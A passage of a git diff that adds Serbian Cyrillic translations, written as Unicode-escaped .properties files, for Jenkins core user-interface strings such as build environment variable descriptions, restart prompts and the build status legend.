Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C \ No newline at end of file diff --git a/core/src/main/resources/jenkins/management/PluginsLink/info_sr.properties b/core/src/main/resources/jenkins/management/PluginsLink/info_sr.properties new file mode 100644 index 0000000000..0182d88388 --- /dev/null +++ b/core/src/main/resources/jenkins/management/PluginsLink/info_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +updates\ available=\u0418\u043C\u0430 \u043D\u043E\u0432\u0438\u0445 \u043D\u0430\u0434\u0433\u0440\u0430\u0434\u045A\u0430 diff --git a/core/src/main/resources/jenkins/model/BuildDiscarderProperty/config-details_sr.properties b/core/src/main/resources/jenkins/model/BuildDiscarderProperty/config-details_sr.properties new file mode 100644 index 0000000000..a0f4b42884 --- /dev/null +++ b/core/src/main/resources/jenkins/model/BuildDiscarderProperty/config-details_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Strategy=\u0420\u0435\u0436\u0438\u043C diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties new file mode 100644 index 0000000000..b0c8a40e79 --- /dev/null +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041E\u0442\u043A\u0430\u0437\u0430\u043D\u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u043E\u043C {0} \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/CoreEnvironmentContributor/buildEnv_sr.properties b/core/src/main/resources/jenkins/model/CoreEnvironmentContributor/buildEnv_sr.properties new file mode 100644 index 0000000000..8772ef9dd5 --- /dev/null +++ b/core/src/main/resources/jenkins/model/CoreEnvironmentContributor/buildEnv_sr.properties @@ -0,0 +1,16 @@ +# This file is under the MIT License by authors + +BUILD_NUMBER.blurb=\u0422\u0440\u0435\u043D\u0443\u0442\u043D\u0438 \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435, \u043A\u0430\u043E \u043D\u043F\u0440. "153" +BUILD_ID.blurb=ID \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435, \u0438\u0434\u0435\u043D\u0442\u0438\u0447\u0430\u043D BUILD_NUMBER \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u043F\u043E\u0441\u043B\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 1.597, \u0430 \u0448\u0430\u0431\u043B\u043E\u043D\u0443 YYYY-MM-DD_hh-mm-ss \u0437\u0430 \u0441\u0442\u0430\u0440\u0438\u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. +BUILD_DISPLAY_NAME.blurb=\u0418\u043C\u0435 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435, \u0448\u0442\u043E \u0438\u043D\u0430\u0447\u0435 \u043B\u0438\u0447\u0438 \u043D\u0430 "#153". +JOB_NAME.blurb=\u0418\u043C\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0430 \u0437\u0430 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443, \u043D\u043F\u0440. "foo" \u0438\u043B\u0438 "foo/bar". +JOB_BASE_NAME.blurb=\u041A\u0440\u0430\u0442\u043A\u043E \u0438\u043C\u0435 \u043E\u0434 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0437\u0430 \u043E\u0432\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 (\u043D\u0435 \u043F\u0443\u043D\u043E \u043F\u0443\u0442\u0430\u045A\u0435), \u043D\u043F\u0440. "foo" for "bar/foo". +BUILD_TAG.blurb=\u041D\u0438\u0437 "jenkins-$'{'JOB_NAME}-$'{'BUILD_NUMBER}". \u0421\u0432\u0435 \u043A\u043E\u0441\u0435 \u0446\u0440\u0442\u0435 ('/') \u0443 JOB_NAME \u0441\u0443 \u0437\u0430\u043C\u0435\u045A\u0435\u043D\u0438 \u0446\u0440\u0442\u0438\u0446\u0430\u043C\u0430 ('-'). \u041F\u043E\u0433\u043E\u0434\u043D\u043E \u0458\u0435 \u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0443 resource, jar, \u0438\u0442\u0434. \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0437\u0430. +EXECUTOR_NUMBER.blurb=\u0408\u0435\u0434\u0438\u043D\u0441\u0442\u0432\u0435\u043D\u0438 \u0431\u0440\u043E\u0458 \u043A\u043E\u0458\u0438 \u0438\u043D\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0443\u0458\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 (\u043E\u0434 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0430 \u0438\u0441\u0442\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438) \u043E\u0432\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. \u0411\u0440\u043E\u0458\u0430 \u0441\u043B\u0438\u0447\u0430\u043D \u043E\u0432\u043E\u043C\u0435, \u043A\u043E\u0458\u0438 \u043F\u043E\u0447\u0438\u045A\u0435 \u0441\u0430 0 \u0430 \u043D\u0435 1, \u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D \u043F\u0440\u0438 "\u0441\u0442\u0430\u045A\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435". +NODE_NAME.blurb=\u0418\u043C\u0435 \u0430\u0433\u0435\u043D\u0442\u0430 \u0430\u043A\u043E \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u043D\u0430 \u0442\u0430\u043A\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438, \u0438\u043B\u0438 "master" \u0430\u043A\u043E \u043D\u0430 \u0442\u0430\u043A\u0432\u043E\u0458. +NODE_LABELS.blurb= +WORKSPACE.blurb=\u0420\u0430\u0437\u043C\u0430\u043A-\u043E\u0434\u0432\u043E\u0458\u0435\u043D\u0438 \u0441\u043F\u0438\u0441\u0430\u043A \u043B\u0430\u0431\u0435\u043B\u0430 \u0434\u043E\u0434\u0435\u0459\u0435\u043D\u043E \u043C\u0430\u0448\u0438\u043D\u0438. +JENKINS_HOME.blurb=\u041F\u0443\u043D\u043E \u043F\u0443\u0442\u0430\u045A\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0443 \u0434\u043E\u0434\u0435\u0459\u0435\u043D\u043E \u0433\u043B\u0430\u0432\u043D\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438, \u0433\u0434\u0435 \u045B\u0435 Jenkins \u0447\u0443\u0432\u0430\u0442\u0438 \u0441\u0432\u043E\u0458\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435. +JENKINS_URL.blurb=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u043D\u0430 Jenkins URL-\u0430\u0434\u0440\u0435\u0441\u0430, \u043A\u0430\u043E http://server:port/jenkins/ (\u0441\u0430\u043C\u043E \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u043E \u0430\u043A\u043E \u0458\u0435 Jenkins URL \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u0443 \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0438\u043C \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430) +BUILD_URL.blurb=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u043D\u0430 URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435, \u043D\u043F\u0440. http://server:port/jenkins/job/foo/15/ (Jenkins URL \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E) +JOB_URL.blurb=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u043D\u0430 URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430\u0434\u0430\u0442\u043A\u0430, \u043D\u043F\u0440. http://server:port/jenkins/job/foo/ (Jenkins URL \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E) \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/DownloadSettings/Warning/message_sr.properties b/core/src/main/resources/jenkins/model/DownloadSettings/Warning/message_sr.properties new file mode 100644 index 0000000000..e8fb16b532 --- /dev/null +++ b/core/src/main/resources/jenkins/model/DownloadSettings/Warning/message_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +blurb=\ + \u0422\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0432\u0435\u0431-\u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447\u0435\u043C \u043F\u0440\u0435\u0443\u0437\u0438\u0430\u0442\u0435 \u043C\u0435\u0442\u0430\u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u043E Jenkins \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430 \u0438 \u0430\u043B\u0430\u0442\u0438\u043C\u0430. \ + \u0418\u043C\u0430 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430\u0442\u0430 \u0441\u0430 \u043E\u0432\u0438\u043C \u043C\u0435\u0442\u043E\u0434\u043E\u043C, \u0438 \u043D\u0435 \u0441\u043C\u0430\u0442\u0440\u0430 \u0441\u0435 \u043F\u043E\u0442\u043F\u0443\u043D\u043E \u0441\u0438\u0433\u0443\u0440\u043D\u0438\u043C. \ + \u0420\u0430\u0437\u043C\u043E\u0442\u0440\u0438\u0442\u0435 \u043F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u045A\u0435 \u0441\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043E\u043C. +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 diff --git a/core/src/main/resources/jenkins/model/DownloadSettings/config_sr.properties b/core/src/main/resources/jenkins/model/DownloadSettings/config_sr.properties new file mode 100644 index 0000000000..76414275dd --- /dev/null +++ b/core/src/main/resources/jenkins/model/DownloadSettings/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Use\ Browser=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u0432\u0435\u0431-\u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447 +Use\ browser\ for\ metadata\ download=\u041F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u0458 \u043C\u0435\u0442\u0430\u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0432\u0435\u0431-\u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447\u0435\u043C \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/GlobalCloudConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/GlobalCloudConfiguration/config_sr.properties new file mode 100644 index 0000000000..29a7fbccd4 --- /dev/null +++ b/core/src/main/resources/jenkins/model/GlobalCloudConfiguration/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Delete\ cloud=\u0423\u043A\u043B\u043E\u043D\u0438 cloud +Cloud=Cloud +Add\ a\ new\ cloud=\u0414\u043E\u0434\u0430\u0458 \u043D\u043E\u0432\u0438 cloud \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/GlobalNodePropertiesConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/GlobalNodePropertiesConfiguration/config_sr.properties new file mode 100644 index 0000000000..f3244eb9c9 --- /dev/null +++ b/core/src/main/resources/jenkins/model/GlobalNodePropertiesConfiguration/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Global\ properties=\u0413\u043B\u043E\u0431\u0430\u043B\u043D\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/GlobalProjectNamingStrategyConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/GlobalProjectNamingStrategyConfiguration/config_sr.properties new file mode 100644 index 0000000000..b8a5aa7afa --- /dev/null +++ b/core/src/main/resources/jenkins/model/GlobalProjectNamingStrategyConfiguration/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +useNamingStrategy=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u0448\u0435\u043C\u0443 \u0438\u043C\u0435\u043D\u043E\u0432\u0430\u045A\u0430 \u0437\u0430 \u043D\u0430\u0437\u0438\u0432 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 +namingStrategyTitel=\u0428\u0435\u043C\u0430 \u0438\u043C\u0435\u043D\u043E\u0432\u0430\u045A\u0430 +strategy=\u0428\u0435\u043C\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/GlobalQuietPeriodConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/GlobalQuietPeriodConfiguration/config_sr.properties new file mode 100644 index 0000000000..dd06cd0724 --- /dev/null +++ b/core/src/main/resources/jenkins/model/GlobalQuietPeriodConfiguration/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Quiet\ period=\u041F\u0435\u0440\u0438\u043E\u0434 \u045B\u0443\u0442\u0430\u045A\u0430 diff --git a/core/src/main/resources/jenkins/model/GlobalSCMRetryCountConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/GlobalSCMRetryCountConfiguration/config_sr.properties new file mode 100644 index 0000000000..583c36f8a6 --- /dev/null +++ b/core/src/main/resources/jenkins/model/GlobalSCMRetryCountConfiguration/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +SCM\ checkout\ retry\ count=\u0411\u0440\u043E\u0458 \u043F\u043E\u043A\u0443\u0448\u0430\u0458\u0430 \u043F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/Jenkins/MasterComputer/configure_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/MasterComputer/configure_sr.properties new file mode 100644 index 0000000000..7329797f43 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/MasterComputer/configure_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Labels=\u041B\u0430\u0431\u0435\u043B\u0435 +Node\ Properties=\u041F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +\#\ of\ executors=\u0431\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/jenkins/model/Jenkins/_cli_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/_cli_sr.properties new file mode 100644 index 0000000000..9eb1d202ee --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/_cli_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Jenkins\ CLI=Jenkins \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 +Available\ Commands=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/Jenkins/_restart_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/_restart_sr.properties new file mode 100644 index 0000000000..fa62a6b2c3 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/_restart_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Are\ you\ sure\ about\ restarting\ Jenkins?=\u0414\u0430\u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0435 Jenkins? +Yes=\u0414\u0430 +Jenkins\ cannot\ restart\ itself\ as\ currently\ configured.=\u041D\u0435\u043C\u043E\u0436\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0438 Jenkins \u043F\u043E \u043E\u0432\u0438\u043C \u043F\u043E\u0441\u0442\u0430\u0432\u0446\u0438\u043C\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/_safeRestart_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/_safeRestart_sr.properties new file mode 100644 index 0000000000..430f57df18 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/_safeRestart_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Are\ you\ sure\ about\ restarting\ Jenkins?\ Jenkins\ will\ restart\ once\ all\ running\ jobs\ are\ finished.=\u0414\u0430 \u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 Jenkins \u043A\u0430\u0434 \u0441\u0432\u0435 \u0442\u0435\u043A\u0443\u045B\u0435 \u043F\u043E\u0441\u043B\u043E\u0432\u0435 \u0431\u0443\u0434\u0443 \u0431\u0438\u043B\u0435 \u0433\u043E\u0442\u043E\u0432\u0435? +Yes=\u0414\u0430 +Jenkins\ cannot\ restart\ itself\ as\ currently\ configured.=\u041D\u0435\u043C\u043E\u0436\u0435 \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0438 Jenkins \u0437\u0430 \u043E\u0432\u0438\u043C \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0438\u043C\u0430. diff --git a/core/src/main/resources/jenkins/model/Jenkins/accessDenied_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/accessDenied_sr.properties new file mode 100644 index 0000000000..5dc7a3e054 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/accessDenied_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Jenkins\ Login=\u041F\u0440\u0438\u0458\u0430\u0432\u0430 \u043D\u0430 Jenkins +Access\ Denied=\u041F\u0440\u0438\u0441\u0442\u0443\u043F \u043E\u0434\u0431\u0438\u0458\u0435\u043D diff --git a/core/src/main/resources/jenkins/model/Jenkins/configure_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/configure_sr.properties index ba97cef5b0..c6e2ed9255 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/configure_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/configure_sr.properties @@ -1,7 +1,10 @@ # This file is under the MIT License by authors -Build\ Record\ Root\ Directory=Osnovni direktorijum build rezultata -Home\ directory=Pocetni direktorijum -LOADING=Ucitavanje -System\ Message=Sistemska poruka -Workspace\ Root\ Directory=Osnovni direktorijum okruzenja +Build\ Record\ Root\ Directory=\u041E\u0441\u043D\u043E\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0440\u0435\u0437\u0443\u043B\u0430\u0442\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Home\ directory=\u041F\u043E\u045B\u0435\u0442\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +LOADING=\u0423\u0427\u0418\u0422\u0410\u0412\u0410\u040A\u0415 +System\ Message=\u0421\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0430 \u043F\u043E\u0440\u0443\u043A\u0430 +Workspace\ Root\ Directory=\u0413\u043B\u0430\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0440\u0430\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 +Configure\ System=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u043C +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438 diff --git a/core/src/main/resources/jenkins/model/Jenkins/downgrade_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/downgrade_sr.properties new file mode 100644 index 0000000000..d04470f1d0 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/downgrade_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +buttonText=\u0412\u0440\u0430\u0442\u0438 \u043D\u0430\u0437\u0430\u0434 \u043D\u0430 {0} +Restore\ the\ previous\ version\ of\ Jenkins=\u0412\u0440\u0430\u0442\u0438 \u043D\u0430 \u043F\u0440\u0435\u0442\u043D\u043E\u0434\u043D\u0443 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 Jenkins-\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties new file mode 100644 index 0000000000..786cab1e46 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Check\ File\ Fingerprint=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 +description=\u041D\u0435\u0437\u043D\u0430\u0442\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u043E\u0434 \u043D\u0435\u043A\u0435 '.jar' \u0430\u0440\u0445\u0438\u0432\u0435?
                    \ +\u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u043F\u043E \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u043E\u043C \u043E\u0442\u0438\u0441\u043A\u0443. +fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +more\ details=\u0412\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430 +File\ to\ check=\u0410\u0440\u0445\u0438\u0432\u0430 \u0437\u0430 \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0432\u0430\u045A\u0435 +Check=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 +Find=\u041F\u0440\u043E\u043D\u0430\u0452\u0438 diff --git a/core/src/main/resources/jenkins/model/Jenkins/legend_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/legend_sr.properties new file mode 100644 index 0000000000..3397c9f26a --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/legend_sr.properties @@ -0,0 +1,20 @@ +# This file is under the MIT License by authors + +grey=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043D\u0438\u0458\u0435 \u043F\u0440\u0435 \u0431\u0438\u0458\u043E \u0438\u0437\u0433\u0440\u0430\u0452\u0435\u043D, \u0438\u043B\u0438 \u0458\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D. +grey_anime=\u041F\u0440\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443 +blue=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0431\u0438\u043B\u0430 \u0443\u0441\u043F\u0435\u0448\u043D\u0430 +blue_anime=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0431\u0438\u043B\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430. \u041D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443. +yellow=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0430\u043B\u0438 \u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430. \u041D\u0430\u0458\u0447\u0435\u0448\u045B\u0435 \u0441\u0435 \u0442\u043E \u0434\u0435\u0448\u0430\u0432\u0430 \u0437\u0431\u043E\u0433 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u0442\u0435\u0441\u0442\u0438\u0440\u0430\u045A\u0430. +yellow_anime=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0430\u043B\u0438 \u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430. \u041D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443. +red=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430. +red_anime=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430. \u041D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443. +health-81plus=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u043F\u0440\u0435\u043A\u043E 80%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-61to80=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 60 \u0438 80%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-41to60=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 40 \u0438 60%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-21to40=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 20 \u0438 40%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-00to20=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0441\u043F\u043E\u0434 20%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-00to19=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 0 \u0438 20%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 